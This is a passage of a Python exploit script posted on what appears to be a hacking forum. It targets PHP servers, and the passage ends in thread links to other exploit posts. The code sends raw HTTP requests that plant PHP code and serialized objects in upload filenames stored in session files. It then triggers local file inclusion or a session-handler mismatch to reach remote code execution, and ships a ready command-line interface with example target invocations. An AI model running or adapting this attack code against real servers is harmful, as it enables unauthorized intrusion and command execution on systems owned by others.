        # Step 1: Inject PHP code via filename
        boundary = "INJECT_BOUNDARY"
        body = build_session_injection_body(boundary, sid, php_code)
        req = (
            f"POST {inject_path} HTTP/1.1\r\n"
            f"Host: {host}\r\n"
            f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
            f"Content-Length: {len(body)}\r\n"
            f"Cookie: PHPSESSID={sid}\r\n"
            f"Connection: close\r\n"
            f"\r\n"
        ).encode() + body

        resp1 = _send_raw(host, port, req, tls=tls, timeout=15)
        status1 = (
            resp1.split(b"\r\n", 1)[0].decode("latin1", "replace")
            if resp1
            else "NO RESPONSE"
        )
        print(f"    Inject: {status1}")

        time.sleep(0.1)

        # Step 2: Trigger LFI to include the session file
        lfi_url = f"{lfi_path}?page={session_file}"
        req2 = (
            f"GET {lfi_url} HTTP/1.1\r\n"
            f"Host: {host}\r\n"
            f"Cookie: PHPSESSID={sid}\r\n"
            f"Connection: close\r\n"
            f"\r\n"
        ).encode()
        resp2 = _send_raw(host, port, req2, tls=tls, timeout=15)
        body2 = resp2.split(b"\r\n\r\n", 1)[-1] if b"\r\n\r\n" in resp2 else resp2

        if b"___START___" in (body2 or b"") and b"___END___" in (body2 or b""):
            start = body2.index(b"___START___") + len(b"___START___")
            end = body2.index(b"___END___")
            output = body2[start:end].decode("latin1", "replace").strip()
            print(f"\n{C.RED}{C.BOLD}[!!!] RCE CONFIRMED{C.NC}")
            print(f"    Output: {output}")
            return True

        status2 = (
            resp2.split(b"\r\n", 1)[0].decode("latin1", "replace")
            if resp2
            else "NO RESPONSE"
        )
        body_preview = (body2 or b"")[:160].decode("latin1", "replace")
        print(f"    LFI: {status2} body={body_preview!r}")

        time.sleep(0.1)

    print(
        f"\n{C.YELLOW}[-] RCE not confirmed — LFI path or session path may be wrong.{C.NC}"
    )
    return False


# ─── Chain C: Handler Mismatch ───────────────────────────────────────────────────
def chain_c_handler_mismatch(
    host: str,
    port: int,
    write_path: str,
    read_path: str,
    tls: bool = False,
    sid: Optional[str] = None,
    timeout: int = 15,
) -> bool:
    """Chain C: Session handler mismatch → __destruct on injected object → RCE.

    1. Upload to Dir A (php_serialize) — filename contains |O:CLASS:N:{PAYLOAD}
    2. Upload to Dir B (php handler) with same SID
    3. rfc1867 reads php_serialize session with php decoder
    4. php decoder finds | in filename → splits → deserializes injected object
    5. Trailing data → decode FAILURE
    6. __destruct fires during PHP_VAR_UNSERIALIZE_DESTROY cleanup → RCE

    Key insight: __destruct fires on BOTH success and failure paths.
    Works even when the decoder returns FAILURE.
    """
    print(f"\n{C.BLUE}[*] Chain C: Handler Mismatch → __destruct → RCE{C.NC}")
    sid = sid or ("mismatch" + uuid.uuid4().hex[:16])

    # Step 1: Write session via php_serialize endpoint
    gadget = 'x|O:8:\\"stdClass\\":0:{}'
    print(f"    SID: {sid}")
    print(f"    Gadget: {gadget}")

    boundary = "MISMATCH_W"
    body1 = build_session_injection_body(boundary, sid, gadget)
    req1 = (
        f"POST {write_path} HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
        f"Content-Length: {len(body1)}\r\n"
        f"Connection: close\r\n\r\n"
    ).encode() + body1

    resp1 = _send_raw(host, port, req1, tls=tls, timeout=timeout)
    status1 = (
        resp1.split(b"\r\n", 1)[0].decode("latin1", "replace")
        if resp1
        else "NO RESPONSE"
    )
    print(f"    [1] Write (php_serialize): {status1}")

    time.sleep(0.1)

    # Step 2: Trigger via php handler endpoint
    boundary2 = "MISMATCH_R"
    body2 = build_session_injection_body(boundary2, sid, "dummy")
    req2 = (
        f"POST {read_path} HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"Content-Type: multipart/form-data; boundary={boundary2}\r\n"
        f"Content-Length: {len(body2)}\r\n"
        f"Connection: close\r\n\r\n"
    ).encode() + body2

    resp2 = _send_raw(host, port, req2, tls=tls, timeout=timeout)
    status2 = (
        resp2.split(b"\r\n", 1)[0].decode("latin1", "replace")
        if resp2
        else "NO RESPONSE"
    )
    body2_text = resp2.decode("latin1", "replace") if resp2 else ""
    print(f"    [2] Read (php handler): {status2}")

    if "destruction failed" in body2_text or "Failed to decode" in body2_text:
        print(
            f"\n{C.RED}{C.BOLD}[!!!] VULNERABLE — __destruct fired on injected object{C.NC}"
        )
        print(
            f"    Handler mismatch triggered. If target has exploitable __destruct → RCE."
        )
        return True
    elif "502" in status2 or not resp2:
        print(f"\n{C.RED}{C.BOLD}[!!!] VULNERABLE — worker crashed (UAF){C.NC}")
        return True
    else:
        print(f"    Body: {body2_text[:200]}")
        print(
            f"\n{C.YELLOW}[-] Not triggered. Need two dirs with different serialize_handler.{C.NC}"
        )
        return False


# ─── Session Injection Verification ──────────────────────────────────────────────
def verify_session_injection(
    host: str,
    port: int,
    path: str,
    tls: bool = False,
    sid: Optional[str] = None,
) -> bool:
    """Verify that session fixation + filename injection works.
    Checks:
      1. Session fixation via POST body PHPSESSID (bypasses use_only_cookies)
      2. Raw filename stored in session file
      3. PHP code / serialized objects accepted in filename
    """
    print(f"\n{C.BLUE}[*] Verification: Session Injection{C.NC}")
    sid = sid or ("verifysession" + uuid.uuid4().hex[:12])

    tests = [
        ("normal.txt", "Normal filename"),
        ("<?php system('id');echo 'RCE';?>", "PHP code in filename"),
        ('x|O:8:\\"stdClass\\":0:{}', "Pipe + serialized object"),
    ]

    for i, (filename, desc) in enumerate(tests, 1):
        boundary = f"VERIFY_{i}"
        escaped = filename.replace('"', '\\"')
        body = build_session_injection_body(boundary, sid + str(i), escaped)
        req = (
            f"POST {path} HTTP/1.1\r\n"
            f"Host: {host}\r\n"
            f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
            f"Content-Length: {len(body)}\r\n"
            f"Cookie: PHPSESSID={sid}{i}\r\n"
            f"Connection: close\r\n\r\n"
        ).encode() + body

        resp = _send_raw(host, port, req, tls=tls, timeout=15)
        status = (
            resp.split(b"\r\n", 1)[0].decode("latin1", "replace")
            if resp
            else "NO RESPONSE"
        )
        print(f"    [{i}] {desc}: {status}")
        print(f"        → Check session file: sess_{sid}{i}")

    print(f"\n    {C.YELLOW}[*] Verify on target: cat /tmp/sessions/sess_{sid}1{C.NC}")
    return True


# ─── Banner / PHP detection ─────────────────────────────────────────────────────
def detect_php(
    host: str,
    port: int,
    path: str,
    tls: bool = False,
    timeout: int = 10,
) -> Optional[Dict[str, Any]]:
    """Basic PHP detection via response headers/body."""
    req = (
        f"GET {path} HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"User-Agent: your-mom/0.1.0\r\n"
        f"Connection: close\r\n\r\n"
    ).encode()
    resp = _send_raw(host, port, req, tls=tls, timeout=timeout)
    if not resp:
        return None

    headers = resp.split(b"\r\n\r\n", 1)[0].decode("latin1", "replace")
    body = (
        resp.split(b"\r\n\r\n", 1)[-1].decode("latin1", "replace")
        if b"\r\n\r\n" in resp
        else ""
    )

    result = {"detected": False, "version": None, "headers": headers}

    if "X-Powered-By" in headers and "PHP" in headers:
        result["detected"] = True
        for line in headers.split("\r\n"):
            if "X-Powered-By" in line and "PHP" in line:
                import re

                m = re.search(r"PHP/([\d.]+)", line)
                if m:
                    result["version"] = m.group(1)
    elif "php" in headers.lower() or "php" in body.lower():
        result["detected"] = True

    return result


# ─── Main ────────────────────────────────────────────────────────────────────────
def print_banner() -> None:
    lines = [
        C.RED + C.BOLD,
        "",
        "  ___   _____ _  _ _   _ _   _ _____ _____ _   _ _____",
        " / _ \\ | ____| || | \\ | | \\ | |_   _|_   _| \\ | |_   _|",
        "| | | ||  _|| || | . || . || | | |  | | | . | | |",
        "| |_| || |__| ||_| |\\|| |\\|| | | |  | | | |\\|| | |",
        " \\___/ |_____|_____|_||_|_||_| |_|  |_| |_| \\_| |_|",
        C.NC,
        "",
        "PHP2SHELL CVE-2026-109618 / CVE-2026-109619 — WORKING EXPLOIT POC",
        "Chains: D (OOM/mod_php) | E (FPM stale BG) | A (session+LFI) | C (handler mismatch)",
        "Ref: https://github.com/ikow/php2shell-poc",
        "",
    ]
    for line in lines:
        print(line)


def main() -> None:
    ap = argparse.ArgumentParser(
        description="PHP2SHELL CVE-2026-109618/109619 — Working Exploit POC",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  # Auto OOM trigger (Chain D — mod_php, zero preconditions):
  python3 php2shell_poc.py --target http://target/index.php

  # OOM with specific strategy:
  python3 php2shell_poc.py --target http://target/ --chain d --strategy nested --width 2000

  # FPM stale state (Chain E):
  python3 php2shell_poc.py --target http://target/ --chain e \\
      --session-path /session.php --producer-sid hugesession000000000

  # Session injection + LFI (Chain A):
  python3 php2shell_poc.py --target http://target/ --chain a \\
      --lfi-path /vuln.php --command 'id'

  # Handler mismatch (Chain C):
  python3 php2shell_poc.py --target http://target/ --chain c \\
      --write-path /app/upload.php --read-path /api/endpoint.php

  # Verify session injection only:
  python3 php2shell_poc.py --target http://target/ --verify-injection
        """,
    )
    ap.add_argument(
        "--target", required=True, help="Target URL (http://host:port/path)"
    )
    ap.add_argument(
        "--chain",
        choices=["auto", "a", "c", "d", "e"],
        default="auto",
        help="Attack chain (default: auto = detect + D)",
    )
    ap.add_argument(
        "--strategy",
        choices=["headers", "nested", "no_length"],
        default="headers",
        help="OOM strategy for chain D (default: headers)",
    )
    ap.add_argument(
        "--num-headers", type=int, default=5000, help="Header count (default: 5000)"
    )
    ap.add_argument(
        "--header-size", type=int, default=500, help="Header value size (default: 500)"
    )
    ap.add_argument("--depth", type=int, default=10, help="Nesting depth (default: 10)")
    ap.add_argument(
        "--width", type=int, default=1000, help="Array width (default: 1000)"
    )
    ap.add_argument(
        "--total-mb", type=int, default=128, help="Stream size MB (default: 128)"
    )
    ap.add_argument(
        "--session-path", default="/session.php", help="Session endpoint (chain E)"
    )
    ap.add_argument(
        "--upload-path", default="/index.php", help="Upload endpoint (chain E)"
    )
    ap.add_argument(
        "--producer-sid", default="hugesession000000000", help="Producer SID (chain E)"
    )
    ap.add_argument(
        "--inject-path", default="/index.php", help="Inject endpoint (chain A)"
    )
    ap.add_argument("--lfi-path", default="/vuln.php", help="LFI endpoint (chain A)")
    ap.add_argument(
        "--session-dir", default="/tmp/sessions", help="Session save dir (chain A)"
    )
    ap.add_argument("--command", default="id", help="Command to execute (chain A)")
    ap.add_argument(
        "--write-path", default="/app/upload.php", help="Write endpoint (chain C)"
    )
    ap.add_argument(
        "--read-path", default="/api/endpoint.php", help="Read endpoint (chain C)"
    )
    ap.add_argument("--sid", default="", help="Fixed session ID")
    ap.add_argument(
        "--attempts", type=int, default=3, help="Attempts (chain A, default: 3)"
    )
    ap.add_argument(
        "--verify-injection",
        action="store_true",
        help="Only verify session injection (no OOM/exploit)",
    )
    ap.add_argument(
        "--timeout", type=float, default=60.0, help="Timeout seconds (default: 60)"
    )
    ap.add_argument("-v", "--verbose", action="store_true", help="Verbose output")
    args = ap.parse_args()

    host, port, tls = _parse_target(args.target)
    path = urlparse(args.target).path or "/"

    print_banner()
    print(f"    Target: {'https' if tls else 'http'}://{host}:{port}{path}")
    print(f"    Chain:  {args.chain}")
    print()

    # Phase 1: Detect PHP
    print(f"{C.BLUE}[*] Phase 1 — PHP detection{C.NC}")
    info = detect_php(host, port, path, tls=tls, timeout=10)
    if info and info["detected"]:
        ver = info.get("version", "unknown")
        print(f"    {C.GREEN}[+] PHP detected (version ~{ver}){C.NC}")
    elif info:
        print(
            f"    {C.YELLOW}[!] PHP not confirmed in headers — proceeding anyway{C.NC}"
        )
    else:
        print(f"    {C.RED}[!] No response — target unreachable?{C.NC}")
        sys.exit(2)

    # Phase 2: Exploit / Verify
    vulnerable = False

    if args.verify_injection:
        vulnerable = verify_session_injection(
            host, port, path, tls=tls, sid=args.sid or None
        )
    elif args.chain == "d":
        vulnerable = chain_d_oom(
            host,
            port,
            path,
            tls=tls,
            strategy=args.strategy,
            num_headers=args.num_headers,
            header_size=args.header_size,
            depth=args.depth,
            width=args.width,
            total_mb=args.total_mb,
            timeout=int(args.timeout),
        )
    elif args.chain == "e":
        vulnerable = chain_e_fpm(
            host,
            port,
            args.session_path,
            args.upload_path,
            tls=tls,
            producer_sid=args.producer_sid,
            timeout=int(args.timeout),
        )
    elif args.chain == "a":
        vulnerable = chain_a_session_lfi(
            host,
            port,
            args.inject_path,
            args.lfi_path,
            args.session_dir,
            args.command,
            tls=tls,
            sid=args.sid or None,
            attempts=args.attempts,
        )
    elif args.chain == "c":
        vulnerable = chain_c_handler_mismatch(
            host,
            port,
            args.write_path,
            args.read_path,
            tls=tls,
            sid=args.sid or None,
            timeout=int(args.timeout),
        )
    else:
        # Auto: try OOM (Chain D) first, then verify injection
        vulnerable = chain_d_oom(
            host,
            port,
            path,
            tls=tls,
            strategy=args.strategy,
            num_headers=args.num_headers,
            header_size=args.header_size,
            timeout=int(args.timeout),
        )
        if not vulnerable:
            print(
                f"\n{C.BLUE}[*] OOM not triggered — verifying session injection...{C.NC}"
            )
            verify_session_injection(host, port, path, tls=tls, sid=args.sid or None)

    # Summary
    print(f"\n{C.BLUE}{'=' * 50}{C.NC}")
    if vulnerable:
        print(f"{C.RED}{C.BOLD}[!!!] TARGET VULNERABLE{C.NC}")
        print(f"    CVE-2026-109618 / CVE-2026-109619")
        print(f"    Remediation: patch to 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12+")
    else:
        print(f"{C.GREEN}[+] No vulnerability confirmed.{C.NC}")
        print(f"    Server may be patched, or conditions not met.")
    print(f"{'=' * 50}")

    sys.exit(1 if vulnerable else 0)


if __name__ == "__main__":
    main()
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  {SECRET} DATABASE OF EXPLOITS lulagain 483 43,389 10 hours ago
Last Post: trAviscovic
  New Zer0 Day Wordpress A3g00n 91 9,753 Yesterday, 10:12 AM
Last Post: andromenn
  CVE-2025-47812 - Wing FTP Server Remote Code Execution (RCE) thermos 12 3,625 Yesterday, 12:46 AM
Last Post: nullun1331
  Wordpress Elementor 3.11.6 Exploit - Full Takeover TheGoodlife 111 25,523 Oct 25, 2026, 12:20 AM
Last Post: nullun1331
  new wordpress website takeover vuln (video + poc ) zinzeur 330 39,582 Oct 25, 2026, 12:13 AM
Last Post: nullun1331

Forum Jump:


 Users browsing this forum: 1 Guest(s)